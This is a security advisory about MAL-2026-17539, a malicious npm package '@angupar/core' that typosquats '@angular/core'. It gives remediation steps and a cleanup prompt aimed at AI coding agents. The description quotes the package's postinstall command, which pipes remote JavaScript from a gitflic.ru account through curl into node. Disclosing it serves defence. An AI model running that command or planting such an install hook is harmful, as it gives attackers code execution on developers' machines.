# MAL-2026-17539: Malicious code in @angupar/core (npm)


- **Type:** Malicious package
- **Package:** `@angupar/core` (npm)
- **Published:** 5 Oct 2026

## What is MAL-2026-17539?

MAL-2026-17539 is a malicious package in @angupar/core, published on 5 Oct 2026. 

### Official description

Package impersonates @angular/core (name @angupar/core, author field "angular", repository pointing at github.com/angular/angular, README copied from Angular). Its package.json postinstall script runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, fetching JavaScript from a third-party user account (`hellscripter` on gitflic.ru) through a web.archive.org proxy and piping it directly to the installer's Node runtime. The fetch is unpinned, has no integrity check, and resolves to a host unrelated to the Angular project. `npm install @angupar/core` therefore yields arbitrary install-time code execution under attacker control, with the typosquat on @angular/core serving as the delivery lure.

## What should I do about MAL-2026-17539?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-17539 is a malicious package: @angupar/core (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-17539/ (Markdown: https://insights.sbomify.com/MAL-2026-17539/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-17539

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From sbomify Insights: https://insights.sbomify.com/MAL-2026-17539/
Summaries are generated and may contain mistakes; the official description above is the record.